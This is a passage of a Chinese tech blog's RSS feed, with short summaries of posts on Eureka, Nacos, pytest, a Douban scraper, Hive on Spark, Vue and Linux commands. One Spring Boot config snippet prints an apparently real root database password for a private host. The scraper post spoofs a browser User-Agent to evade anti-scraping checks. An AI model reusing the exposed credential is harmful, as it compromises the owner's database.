Eureka是一个基于REST的服务，用于定位服务，以实现云端中间层服务发现和故障转移。服务注册与发现对应微服务架构来说非常重要，有了服务发现和注册，值需要使用服务的标志符，就可以访问到服务，而不需要更改调用的配置文件。 Eureka的基本架构是什么？ eureka 比zookepper 好在哪 AP理论指出，一个分布式系统不可能同时满足C(一致性)、A(可用性)和P(分区容错性)。由于分区容错性P在是分布式系统中必须要保证的，因此我们只能在A和C之间进行权衡。&#xA;Zookeeper 保证的是CP, Eureka 则是AP。&#xA;zk服务注册功能对可用性的要求要高于一致性。但是zk会出现这样一种情况，当master节点因为网络故障与其他节点失去联系时，剩余节点会重新进行leader选举。&#xA;问题在于，选举leader的时间太长，30~120s,且选举期间整个zk集群都是不可用的，这就导致在选举期间注册服务瘫痪。&#xA;分布式更注重可用，最终一致性&#xA;Ribbon负载均衡 Spring Cloud Ribbon是基于Netflix Ribbon实现的一套客户端 负载均衡的工具。&#xA;Ribbon会自动的帮助你基于某种规则（如简单轮询，随机连接等）去连接这些机器。我们也很容易使用Ribbon实现自定义的负载均衡算法。&#xA;feign能干什么 Feign旨在使编写Java Http客户端变得更容易。</description>
    </item>
    <item>
      <title>pytest 测试类的实例变量初始化问题</title>
      <link>https://bchobby.github.io/posts/3ada9a42e4be14cdcc77617a47531b3f/</link>
      <pubDate>Thu, 25 Nov 2021 16:22:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ada9a42e4be14cdcc77617a47531b3f/</guid>
      <description>使用 pytest 编写测试用例，碰到场景如下：&#xA;class Test: def setup_class(self): print(&#34;exec setup class&#34;) self.a = 1 def setup(self): self.a += 1 print(&#34;exec setup -&#34;, self.a) def test_1(self): print(self.a) def test_2(self): print(self.a) def test_3(self): print(self.a) 我的目的是每条测试用例执行前，self.a 变量的值都自增 1，于是就取巧，通过 setup_class 和 setup 结合来实现，但是执行结果却跟我想的预期不同。&#xA;&amp;gt;&amp;gt;&amp;gt; exec setup class exec setup - 2 2 exec setup - 2 2 exec setup - 2 2 每次 setup 的时候，都会重新初始化，得到的 self.a 的值为 1，所以每条用例执行的 a 都是 2。&#xA;到执行 case 2 前面的 setup 时，实例对象就变了。</description>
    </item>
    <item>
      <title>requests&#43;re-爬取豆瓣电影top250，看看都有哪些电影上榜</title>
      <link>https://bchobby.github.io/posts/3b7b227a5abe78bc4133fa8ad31f6ac4/</link>
      <pubDate>Thu, 25 Nov 2021 15:50:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b7b227a5abe78bc4133fa8ad31f6ac4/</guid>
      <description>简介： 这是一个很简单的获取豆瓣网文本内容的爬虫，涉及到requests模块get方法的使用，正则表达式re模块的对数据进行抽取，得到我们关注的内容（电影名，影片上映时间，评分，评论人数），最后保存到csv文件中&#xA;前期准备 python模块： re模块,requests模块,csv模块&#xA;豆瓣电影top250地址：https://movie.douban.com/top250&#xA;请求数据 1、使用requests模块的get()方法获取网页源码。&#xA;# 请求头 import requests headers={ &#34;User-Agent&#34;:&#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36&#34; } #resp接收get请求响应的数据 resp=requests.get(&#34;https://movie.douban.com/top250&#34;,headers=headers) #text查看响应的内容 print(resp.text) resp.close() 使用requests获取的网页源码（开头）&#xA;网页开发者模式看到的源码（开头）&#xA;注意：&#xA;为什么get()需要headers参数：模拟网站的正常访问，绕开反爬机制&#xA;headers如何找到：F12，开发者工具。requests下&#xA;resp.close():关闭你的请求，如果你不关掉你的请求，时间长了或者多次执行代码后就会限制访问这个网页(亲测)&#xA;数据处理 2、使用正则表达式，对筛选我们需要的内容&#xA;#预加载 import requests import re headers={ &#34;User-Agent&#34;:&#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36&#34; } reStr=re.compile( r&#39;&amp;lt;li&amp;gt;.*?&amp;lt;em class=&#34;&#34;&amp;gt;(?P&amp;lt;topnum&amp;gt;.*?)&amp;lt;/em&amp;gt;.*?&#39; # top榜排名 r&#39;&amp;lt;span class=&#34;title&#34;&amp;gt;(?P&amp;lt;name&amp;gt;.*?)&amp;lt;/span&amp;gt;.*?&#39; # 电影名 r&#39;.*?&amp;lt;br&amp;gt;(?P&amp;lt;year&amp;gt;.*?)&amp;amp;nbsp&#39; # 上映年份 r&#39;.</description>
    </item>
    <item>
      <title>VOT Toolkit工具配置和使用--Python版本</title>
      <link>https://bchobby.github.io/posts/83200aaff0e787f1d5c5d5a27255a667/</link>
      <pubDate>Wed, 24 Nov 2021 22:57:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/83200aaff0e787f1d5c5d5a27255a667/</guid>
      <description>1、可以先参考下以下几个博客内容，熟悉下配置方法&#xA;（1）VOT Toolkit工具使用说明（Python版）&#xA;（2）vot-toolkit-python测试DiMP50在VOT2018上的表现&#xA;（3） 用vot-toolkit-python测试可见光-红外模态融合跟踪算法mfdimp&#xA;（4） vot toolkit python配置&#xA;（5） vot toolkit python配置（有图有真相）&#xA;2、首先是环境的配置，参考vot官方 VOT Toolkit ，就是在选择的环境下输入以下代码安装vot toolkit：&#xA;pip install git+https://github.com/votchallenge/vot-toolkit-python ps：python版本和matlab版本不同，python版本vot toolkit只需要输入这一句就可以了&#xA;至于这两个工具，可以将代码下载到本地：&#xA;（1）vot-toolkit python版 github：&#xA;GitHub - votchallenge/toolkit: The official VOT evaluation toolkit&#xA;这个可以说就是vot toolkit使用的代码，就是在使用toolkit过程中，一些初始化、evaluate、analysis、报错提示等都在这个代码中，最重要的还有trax通信代码等，通过上面pip一条指令，这个包就直接安装到环境中了&#xA;ps:可以自己手动修改如 timeout改为300000等，但是记得修改的位置是该环境下载的包的位置，不是自己下载的代码位置（我一开始就改错了。。。）&#xA;（2）vot-toolkit 调试用基本跟踪器NCC&#xA;GitHub - votchallenge/integration: Integration examples and utilities for VOT toolkit&#xA;这个的话感觉就是一个对于vot toolkit 使用的例子，可以参考 python_ncc.py和vot.py来写自己的算法接口文件（通常是复制vot.py到自己的算法同目录文件夹下，只参考python_ncc.py修改自己的算法接口）&#xA;ps:修改自己的算法接口其实就是分为：（1）初始化首帧&#xA;（2）后续每一帧按照自己的算法返回预测的坐标&#xA;如果配置过got10k的话，其实几乎一样&#xA;3、在使用过程中，首先通过&#xA;vot initialize &amp;lt;stack-name&amp;gt; --workspace &amp;lt;workspace-path&amp;gt; --nodownload 来初始化目录，具体含义可以参考第一部分的几个博客，这里说明一点：&#xA;（1）如果不在线下载数据集的话，就按照所需要的格式自己去整理vot2014、2015数据集，就是把图片放在color文件夹下，其余文件和color文件夹同目录，不过2014的话建议在线下载，因为&#xA;1、看下所需格式</description>
    </item>
    <item>
      <title>04-Nacos服务注册中心应用实践（记录）</title>
      <link>https://bchobby.github.io/posts/867c80a3081446d0e8da093080b48852/</link>
      <pubDate>Wed, 24 Nov 2021 20:38:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/867c80a3081446d0e8da093080b48852/</guid>
      <description>目录&#xA;注册中心简介&#xA;背景分析&#xA;Nacos概述&#xA;构建Nacos服务&#xA;准备工作&#xA;下载与安装&#xA;初始化配置&#xA;服务启动与访问&#xA;服务注册与调用入门（重点）&#xA;业务描述&#xA;生产者服务创建及注册&#xA;消费者服务发现及调用&#xA;小节面试分析&#xA;服务负载均衡设计及实现（重点）&#xA;业务描述&#xA;LoadBalancerClient应用&#xA;@LoadBalanced&#xA;Ribbon负载均衡策略(了解)&#xA;小节面试分析&#xA;基于Feign的远程服务调用（重点）&#xA;背景分析&#xA;Feign是什么&#xA;Feign应用实践（掌握）&#xA;Feign配置进阶实践&#xA;Feign 调用过程分析（了解）&#xA;小节面试分析&#xA;总结(Summary)&#xA;重难点分析&#xA;FAQ分析&#xA;Bug分析&#xA;注册中心简介 背景分析 在微服务中，首先需要面对的问题就是如何查找服务(软件即服务)，其次,就是如何在不同的服务之间进行通信？如何更好更方便的管理应用中的每一个服务，如何建立各个服务之间联系的纽带，由此注册中心诞生（例如淘宝网卖家提供服务，买家调用服务）。&#xA;市面上常用注册中心有Zookeeper(雅虎Apache),Eureka(Netfix),Nacos(Alibaba),Consul(Google),那他们分别都有什么特点，我们如何进行选型呢？我们主要从社区活跃度,稳定性,功能,性能等方面进行考虑即可.本次微服务的学习,我们选择Nacos,它很好的支持了阿里的双11活动,不仅可以做注册中心，还可以作为配置中心，稳定性和性能都很好。&#xA;Nacos概述 Nacos（DynamicNaming and Configuration Service）是一个应用于服务注册与发现、配置管理的平台。它孵化于阿里巴巴，成长于十年双十一的洪峰考验，沉淀了简单易用、稳定可靠、性能卓越的核心竞争力。其官网地址如下：&#xA;https://nacos.io/zh-cn/docs/quick-start.html 构建Nacos服务 准备工作 第一：确保你电脑已配置JAVA_HOME环境变量(Nacos启动时需要)，例如：&#xA;第二：确保你的MySQL版本为5.7以上（MariaDB10.5以上)，例如&#xA;下载与安装 第一步：Nacos下载,可在浏览器直接输入如下地址：&#xA;Releases · alibaba/nacos · GitHuban easy-to-use dynamic service discovery, configuration and service management platform for building cloud native applications. - Releases · alibaba/nacoshttps://github.</description>
    </item>
    <item>
      <title>vue, js 传递自身DOM元素，并添加class名称</title>
      <link>https://bchobby.github.io/posts/702185143bd3e71fa57ea1facdff5bc1/</link>
      <pubDate>Wed, 24 Nov 2021 19:59:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/702185143bd3e71fa57ea1facdff5bc1/</guid>
      <description> vue, js 传递自身DOM元素，并添加class名称 element.classList.add(&#39;yourClass&#39;) 具体VUE示例如下：&#xA;1： vue 元素传递了本身&#xA;&amp;lt;p class=&#34;answer&#34; @click.once=&#34;chooseFn($event.target)&#34;&amp;gt;{{ item.item1 }}&amp;lt;/p&amp;gt; 2： vue 方法处理该元素，并添加 class名称&#xA;chooseFn: function (ele) { ele.classList.add(&#39;errorAnswer&#39;) } </description>
    </item>
    <item>
      <title>hadoop fs默认操作路径</title>
      <link>https://bchobby.github.io/posts/6853d78dbfdf196b09850da7c04cd016/</link>
      <pubDate>Wed, 24 Nov 2021 15:50:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6853d78dbfdf196b09850da7c04cd016/</guid>
      <description>hadoop fs命令默认操作文件路径为：/[主目录]/[用户名]。&#xA;主目录的默认路径为/user， 由配置项dfs.user.home.dir.prefix决定，存在于hdfs-site.xml文件中；用户名（非kerberos的情况下），则是根据环境变量HADOOP_USER_NAME、HADOOP_USER_NAME决定，默认为linux当前用户名。&#xA;hadoop@ubuntu16:~$ hadoop fs -ls / Found 3 items drwxr-xr-x - hadoop supergroup 0 2021-11-15 15:06 /hdfstest drwxr-xr-x - hadoop supergroup 0 2021-11-15 11:00 /mr_demo drwxr-xr-x - hadoop supergroup 0 2021-10-18 14:19 /user hadoop@ubuntu16:~$ hadoop fs -ls . Found 1 items drwxr-xr-x - hadoop supergroup 0 2021-10-18 14:40 input hadoop@ubuntu16:~$ hadoop fs -ls /user/hadoop Found 1 items drwxr-xr-x - hadoop supergroup 0 2021-10-18 14:40 /user/hadoop/input hadoop@ubuntu16:~$ HDFS查看文件命令 hadoop fs -ls .</description>
    </item>
    <item>
      <title>详解Hive on Spark配置</title>
      <link>https://bchobby.github.io/posts/bceee4307ea62ea93b66f74295e2f4dc/</link>
      <pubDate>Wed, 24 Nov 2021 14:57:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bceee4307ea62ea93b66f74295e2f4dc/</guid>
      <description>Hive on Spark配置 Hive引擎默认的是MapReduce，就是没执行一个Hive语句，其实都是运行了一个MR程序，都知道的，MR虽好，但是慢呢。所以在时代的驱使下，就出现了把Hive的引擎更换的需要，通常Hive的引擎还有tez、Spark。我们经常听到Hive on Spark和Spark on Hive，不明所以的小伙伴还会以为这两个是倒装句，其实不然，Hive on Spark 和 Spark on Hive有着很大的区别&#xA;Hive on Spark：直译就是把Hive 放到 Spark上，意思就是把Hive的引擎改为Spark，Hive既作为存储元数据又负责SQL的解析优化，语法是HQL语法，执行引擎变成了Spark，Spark负责采用RDD执行&#xA;Spark on Hive：直译就是把Spark放到Hive上，就是将Spark处理的数据放在Hive上，Hive只作为存储元数据，Spark负责SQL解析优化，语法是Spark SQL语法，Spark负责采用RDD执行&#xA;Hive on SparkSpark on Hive语法HQLSpark SQL引擎SparkSpark存储HiveHive Hive on Spark的配置 兼容性说明&#xA;官网下载之后的Hive3.1.2和Spark3.0.0是不兼容的，Hive3.1.2支持的Spark版本是2.4.5，所以需要重新编译Hive才能和Spark3.0.0兼容。或者选择Spark2.4.5版本，当然了，选择Spark2.4.5是不可能的，虽然省事，但是我们都不怕麻烦&#xA;编译过程也很简单，是的，也很简单简单简单，只需要去官网下载Hive3.1.2的源码，然后再pom文件中将Spark的引用版本改为3.0.0就可以，如果编译通过，直接打成jar包，是不是很简单。但是如果不通过，那就根据报错信息修改，直到不报错，然后达成jar包，确实很简单吧-~-&#xA;配置 上传解压saprk-3.0.0-hadoop-bin-3.2.tgz，具体tar包啥名字记不清了，大概长这个样子吧&#xA;配置SPARK_HOME环境变量&#xA;在hive的配置文件目录下新建spark的配置文件，添加以下内容&#xA;spark.master yarn spark.eventLog.enabled true spark.eventLog.dir hdfs://hadoop102:8020/spark-history spark.executor.memory 1g spark.driver.memory&#x9;1g 根据配置文件设置的历史目录，在hdfs上新建相应的目录&#xA;hadoop fs -mkdir /spark-history 向HDFS上传Spark纯净版jar包&#xA;由于Spark3.0.0非纯净版默认支持的是hive2.3.7版本，直接使用会和安装的Hive3.1.2出现兼容性问题。所以采用Spark纯净版jar包，不包含hadoop和hive相关依赖，避免冲突。&#xA;Hive任务最终由Spark来执行，Spark任务资源分配由Yarn来调度，该任务有可能被分配到集群的任何一个节点。所以需要将Spark的依赖上传到HDFS集群路径，这样集群中任何一个节点都能获取到&#xA;上传并解压spark-3.0.0-bin-without-hadoop.tgz&#xA;tar -zxvf /opt/software/spark-3.0.0-bin-without-hadoop.tgz 上传Spark纯净版jar包到HDFS&#xA;hadoop fs -mkdir /spark-jars hadoop fs -put spark-3.</description>
    </item>
    <item>
      <title>springBoot集成dynamic-datasource实现多数据源的读写</title>
      <link>https://bchobby.github.io/posts/b90dbdbefac0c564b3a8fc9443a1317b/</link>
      <pubDate>Wed, 24 Nov 2021 11:17:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b90dbdbefac0c564b3a8fc9443a1317b/</guid>
      <description>我们在开发项目的时候，会遇到一些问题。比如在某个数据库实现读数据，某个数据库实现写数据。所以这个时候就需要使用多数据源的读写。所以使用dynamic-datasource来实现。接下来我们就介绍下如何使用。&#xA;1：引入jar包&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.baomidou&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;dynamic-datasource-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.4.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 2：在application.properties中添加相应的数据源&#xA;下面是比较简单的配置，复杂的可以参考参考链接。&#xA;### datasource begin ### ##设置默认的数据源或者数据源组，默认值为master spring.datasource.dynamic.primary=master #严格匹配数据源,默认false. true未匹配到指定数据源时抛异常,false使用默认数据源 spring.datasource.dynamic.strict=false ###主库设置 spring.datasource.dynamic.datasource.master.url=jdbc:mysql://localhost:3306/mfwow?useUnicode=true&amp;amp;characterEncoding=utf-8&amp;amp;useSSL=true&amp;amp;serverTimezone=UTC spring.datasource.dynamic.datasource.master.username=root spring.datasource.dynamic.datasource.master.password= spring.datasource.dynamic.datasource.master.driver-class-name=com.mysql.jdbc.Driver ###从库设置 spring.datasource.dynamic.datasource.slave.url=jdbc:mysql://172.31.3.226:3306/Knowdege?serverTimezone=GMT%2B8&amp;amp;useUnicode=true&amp;amp;characterEncoding=utf-8&amp;amp;useSSL=false spring.datasource.dynamic.datasource.slave.username=root spring.datasource.dynamic.datasource.slave.password=YydhTest2019!226 spring.datasource.dynamic.datasource.slave.driver-class-name=com.mysql.jdbc.Driver ### datasource end ### 3：在启动类@SpringBootApplication注解中，添加排除原生Druid的配置类。&#xA;@SpringBootApplication(exclude = DruidDataSourceAutoConfigure.class) public class Bootstrap { private static Logger log= LoggerFactory.getLogger(Bootstrap.class); public static void main(String[] args)throws Exception { ConfigurableApplicationContext application = SpringApplication.run(Bootstrap.class, args); Environment env = application.getEnvironment(); String ip = InetAddress.getLocalHost().getHostAddress(); String port = env.getProperty(&#34;server.port&#34;); String path = env.</description>
    </item>
    <item>
      <title>Linux中文件压缩和归档类命令</title>
      <link>https://bchobby.github.io/posts/76f2d9b1677c60ff93dc44d2d1e6fed8/</link>
      <pubDate>Wed, 24 Nov 2021 09:34:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/76f2d9b1677c60ff93dc44d2d1e6fed8/</guid>
      <description>文件压缩和归档类命令 1》gzip、gunzip使命令用来压缩、解压缩文件，文件压缩类命令还有bzip2,bunzip2等。 语法格式：&#xA;gzip/gunzip&#x9;[参数选项]&#x9;[文件] 注意的是：如果是压缩和解压是文件夹时必须要加入是“-r”参数，进行递归压缩和解压，否则会报错。 实例： 1.gzip压缩当前目录下的1.txt文件 gzip 1.txt 2.gzip压缩当前目录下的B文件夹 gzip -r B [myvm168@localhost ~]$ ls 1.txt A Desktop Documents Downloads Music Pictures Public Templates test touch Videos [myvm168@localhost ~]$ gzip 1.txt --对1.txt进行压缩 [myvm168@localhost ~]$ gzip A&#x9;--报错的原因是文件夹压缩要必须加入参数‘-r’进行递归压缩 gzip: A is a directory -- ignored [myvm168@localhost ~]$ gzip -r A&#x9;--对A文件夹进行压缩 [myvm168@localhost ~]$ ls 1.txt.gz A Desktop Documents Downloads Music Pictures Public Templates test touch Videos [myvm168@localhost ~]$ ll A 总用量 0 [myvm168@localhost ~]$ zip程序是用来压缩文件，而gunzip程序是用来还原gzip压缩的文件的，zcat程序用来显示gzip压缩的文件，同时压缩和解压文件时原始文件，会被删除</description>
    </item>
    <item>
      <title>Error: connect ECONNREFUSED 127.0.0.1:6379 at TCPConnectWrap.afterConnect [as oncomplete]</title>
      <link>https://bchobby.github.io/posts/747343ad714cad3e01b34bae96d251ff/</link>
      <pubDate>Tue, 23 Nov 2021 20:28:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/747343ad714cad3e01b34bae96d251ff/</guid>
      <description> Error: connect ECONNREFUSED 127.0.0.1:6379 at TCPConnectWrap.afterConnect [as oncomplete] (node:net:1161:16) redis数据库启动时，报错如下图：&#xA;解决 需要执行命令如下（Ubuntu）：&#xA;sudo apt-get install redis-server </description>
    </item>
    <item>
      <title>关于举办“2022年（第15届）中国大学生计算机设计大赛”通知</title>
      <link>https://bchobby.github.io/posts/49cfd6e23771c3a712ba8826d76a4949/</link>
      <pubDate>Tue, 23 Nov 2021 18:54:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/49cfd6e23771c3a712ba8826d76a4949/</guid>
      <description>2022年（第15届）大赛&#xA;内容分类、参赛要求、承办院校与决赛时间 一、大赛说明 本赛事启筹于2007年，始创于2008年，已经举办了14届68场赛事。目前，大赛是全国普通高校大学生竞赛排行榜榜单的赛事之一。大赛国赛的参赛对象，是中国大陆高等院校中所有专业的当年在校本科生和来华留学生，重点是激发学生学习计算机知识和技能的兴趣和潜能，提高学生运用信息技术解决实际问题的综合能力，以赛促学，以赛促教，以赛促创。参赛作品的指导教师是在高校担任中国本科生或来华留学生教学任务的教师。&#xA;大赛以三级竞赛形式开展，校级初赛——省级复赛——国家级决赛（简称“国赛”），国赛只接受省级赛（含省市赛、省级跨省区域赛和省级直报赛区）上推的参赛作品。校赛、省级赛可自行、独立组织。参赛院校应安排有关职能部门负责参赛作品的组织、纪律监督与内容审核等工作，保证本校竞赛的规范性和公正性，并由该学校相关部门签发参加大赛报名的文件。&#xA;1. 2022年（第15届）大赛作品共分15大类（组），具体包括：&#xA;（1） 软件应用与开发。&#xA;（2） 微课与教学辅助。&#xA;（3） 物联网应用。&#xA;（4） 大数据应用。&#xA;（5） 人工智能应用。&#xA;（6） 信息可视化设计。&#xA;（7） 数媒静态设计（普通组，证书上不出现“普通组”三字，下同）。&#xA;（8） 数媒静态设计专业组。&#xA;（9） 数媒动漫与短片（普通组）。&#xA;（10） 数媒动漫与短片专业组。&#xA;（11） 数媒游戏与交互设计（普通组）。&#xA;（12） 数媒游戏与交互设计专业组。&#xA;（13） 计算机音乐创作（普通组）。&#xA;（14） 计算机音乐创作专业组。&#xA;（15） 国际生“学汉语，写汉字”赛道。&#xA;2．数媒各大类参赛作品参赛时，按普通组与专业组分别进行。&#xA;界定数媒类作品专业组的专业清单（参考教育部2020年发布新专业目录），具体包括：&#xA;（1）教育学类：040105 艺术教育&#xA;（2）新闻传播学类：050302 广播电视学、050303广告学、050306T网络与新媒体、050307T数字出版&#xA;（3）机械类：080205工业设计&#xA;（4）计算机类：080906 数字媒体技术、080912T 新媒体技术、080913T电影制作、080916T虚拟现实技术&#xA;（5）建筑类：082801 建筑学、082802 城乡规划、082803 风景园林、082805T人居环境科学与技术、082806T城市设计&#xA;（6）林学类：090502 园林&#xA;（7）戏剧与影视学类： 130303 电影学、130305 广播电视编导、130307 戏剧影视美术设计、130310 动画、130311T 影视摄影与制作、130312T 影视技术&#xA;（8）美术学类：130401 美术学、 130402 绘画、130403雕塑、130404摄影、130405T 书法学、130406T 中国画、130408TK 跨媒体艺术、130410T 漫画</description>
    </item>
    <item>
      <title>Oracle数据库删除重复数据(保留一条)</title>
      <link>https://bchobby.github.io/posts/4714db670509781a242f0e26f7a6028f/</link>
      <pubDate>Tue, 23 Nov 2021 16:43:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4714db670509781a242f0e26f7a6028f/</guid>
      <description> 如何在oracle数据库中删除重复数据？&#xA;表：DWGCHF_ZJB 判断是否重复标识：检验批编号首先进行检验批编号进行分组，筛选出cout（检验批编号）&amp;gt;1的数据然后根据函数最小值min（rowid）进行检验批编号分组，并且用count（*）&amp;gt;1去反选，把两个条件结合起来就可以删除重复的数据，且保留重复数据的源数据。 delete from DWGCHF_ZJB where 检验批编号 in (select 检验批编号 from DWGCHF_ZJB group by 检验批编号 having count(检验批编号)&amp;gt;1 ) and rowid not in (select min(rowid) from DWGCHF_ZJB group by 检验批编号 having count(*)&amp;gt; 1); </description>
    </item>
    <item>
      <title>为什么modelsim添加altera_mf库文件？</title>
      <link>https://bchobby.github.io/posts/783e2502a993803cb04e7264b459863f/</link>
      <pubDate>Tue, 23 Nov 2021 16:23:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/783e2502a993803cb04e7264b459863f/</guid>
      <description>查看ip文件</description>
    </item>
    <item>
      <title>Provide 和 Inject 的用法</title>
      <link>https://bchobby.github.io/posts/1176ec3fe708e1f6e8d3079de566c112/</link>
      <pubDate>Tue, 23 Nov 2021 16:16:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1176ec3fe708e1f6e8d3079de566c112/</guid>
      <description>前言 父子组件传参可以通过props和emit来实现，但是当组件的层次结构比较深时，props和emit就没什么作用了。vue为了解决这个提出了Provide / Inject，知道这个东西，但是一直没用过，最近碰到了一个问题，踩了一些坑，在这里记录一下&#xA;备注：&#xA;我安装的是vue3.x，v-model用的是3.x的语法。&#xA;2.x和3.x用法一致，我这里是用2.x写的&#xA;通用知识 基本用法&#xA;provide 选项应该是：一个对象或返回一个对象的函数&#xA;inject 选项应该是：一个字符串数组，或 一个对象，对象的 [key] 是本地的绑定名&#xA;provide 和 inject 绑定并不是可响应的。这是刻意为之的。&#xA;代码执行顺序&#xA;data-&amp;gt;provide-&amp;gt;created-&amp;gt;mounted&#xA;基本代码&#xA;主要使用grandpa和grandson这两个组件，son在这里充当一个层级&#xA;//grandpa.vue &amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;h3 style=&#34;margin-bottom: 20px&#34;&amp;gt;爷爷组件&amp;lt;/h3&amp;gt; &amp;lt;el-button type=&#34;primary&#34; @click=&#34;lookDetail&#34;&amp;gt;查看&amp;lt;/el-button&amp;gt; &amp;lt;!-- 儿子组件 --&amp;gt; &amp;lt;son v-model:visible=&#34;openDialog&#34;&amp;gt;&amp;lt;/son&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import Son from &#34;./son.vue&#34;; export default { components: { Son }, data() { return { message: &#34;aa&#34;, openDialog: false, }; }, methods: { lookDetail() { this.openDialog = true; }, }, }; &amp;lt;/script&amp;gt; //son.</description>
    </item>
    <item>
      <title>vue-router如何判断是从哪个路径跳转过来的？</title>
      <link>https://bchobby.github.io/posts/581088642ab3f570c2acbaeb683a16d1/</link>
      <pubDate>Tue, 23 Nov 2021 15:53:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/581088642ab3f570c2acbaeb683a16d1/</guid>
      <description> 日常项目中经常会出现这种效果 点击添加和编辑 跳转至 编辑页活添加页后，通过保存 el-tab-pane这个组件还是要指向原来的地方&#xA;方法一、通过beforeRouteEnter实现 但是要注意哦 beforeRouteEnter是不能访问this的&#xA;解决方法如下&#xA;beforeRouteEnter(to, from, next) { next(vm =&amp;gt; { if (from.path == &#34;/channel/index/addAdvert&#34;) vm.activeName = &#34;fourth&#34;; }); }, 方法二：通过watch监听实现 watch : { &#39;$route&#39; (to, from) { // from 对象中要 router 来源信息. // do your want } } </description>
    </item>
    <item>
      <title>经典计算哈希值得函数</title>
      <link>https://bchobby.github.io/posts/1455eaed95d5566c265114295bd05aa3/</link>
      <pubDate>Tue, 23 Nov 2021 14:41:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1455eaed95d5566c265114295bd05aa3/</guid>
      <description>经典计算哈希值得函数&#xA;#define BITS_IN_int (sizeof(int)*CHAR_BIT)&#xA;#define THREE_QUARTERS ((int)((BITS_IN_int 3)/4))&#xA;#define ONE_EIGHTH ((int)(BITS_IN_int/8))&#xA;constexpr unsigned int HIGH_BITS = (~((unsigned int)(~0) &amp;gt;&amp;gt; ONE_EIGHTH));&#xA;unsigned int HashPJW(const char datum)&#xA;{&#xA;unsigned int hash_value, i;&#xA;for (hash_value = 0; *datum; ++datum)&#xA;{&#xA;hash_value = (hash_value &amp;lt;&amp;lt; ONE_EIGHTH) + *datum;&#xA;if ((i = hash_value &amp;amp; HIGH_BITS) != 0)&#xA;hash_value = (hash_value ^ (i &amp;gt;&amp;gt; THREE_QUARTERS)) &amp;amp; ~HIGH_BITS;&#xA;}&#xA;return hash_value;&#xA;}&#xA;unsigned long ElfHash(const unsigned char *name)</description>
    </item>
    <item>
      <title>JAVA中堆，栈，方法区的简单理解</title>
      <link>https://bchobby.github.io/posts/0b00584195b3172160d71d839c0634d2/</link>
      <pubDate>Tue, 23 Nov 2021 11:25:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b00584195b3172160d71d839c0634d2/</guid>
      <description>1.堆（heap） 在JVM中只有一个堆，在虚拟机开启时创建，所有的线程都共用这一个堆。类的对象会储存在堆内存中，而new对象的引用地址会储存在stack栈中。堆中只存储对象本身和数组。&#xA;2.栈（stack） Java栈与堆不同每一个线程都有一个stack，栈的区域非常小，大概只有1M左右，但是存储速度非常快，所以我们把快速执行的任务存储在stack。栈中存储的就是基本数据类型和对象的引用（地址，而不是实例！）。&#xA;3.方法区（method） 方法区（method）又叫静态区，这里主要存储的就是类（class）、静态方法、静态变量、常量以及成员方法。我们可以发现在方法区中存储的都是整个程序中唯一存在的元素，所以方法区与堆一样被所有线程共享。我们常说的常量池也是方法区的一部分。</description>
    </item>
    <item>
      <title>Solidworks学习笔记-链接Solidworks</title>
      <link>https://bchobby.github.io/posts/495eae3027489fac3d93985bc52c6298/</link>
      <pubDate>Mon, 22 Nov 2021 20:06:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/495eae3027489fac3d93985bc52c6298/</guid>
      <description>本文用的是SolidWokrs2019 和 VS2019&#xA;1)创建窗口程序&#xA;2)添加引用&#xA;3）创建自己的功能类 并编写代码&#xA;Sld4File.cs&#xA;添加命名空间&#xA;using SolidWorks.Interop.sldworks; //接口对象 using SolidWorks.Interop.swconst; //枚举对象 编写功能函数：&#xA;这里注意：&#xA;CommandInProgress：通知 SOLIDWORKS 进程外应用程序将进行一系列 API 调用来提高进程外应用程序的性能。&#xA;EnableBackgroundProcessing：获取或设置是否开启后台处理。&#xA;using SolidWorks.Interop.sldworks; //接口对象 using SolidWorks.Interop.swconst; //枚举对象 using System; //using SldExFunc.Model; //添加 namespace SldExFunc.Model { public static class Sld4File { // 判断进程是够存在，0无，1有 private static bool GetProc(string processName) { System.Diagnostics.Process myProcess = new System.Diagnostics.Process();//得到所有打开的进程 try { foreach (System.Diagnostics.Process thisProcess in System.Diagnostics.Process.GetProcessesByName(processName)) { return true; } } catch (Exception e) { System.</description>
    </item>
    <item>
      <title>mui 上拉刷新</title>
      <link>https://bchobby.github.io/posts/b9252612855ffce76f33366dadf61ea1/</link>
      <pubDate>Mon, 22 Nov 2021 18:17:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b9252612855ffce76f33366dadf61ea1/</guid>
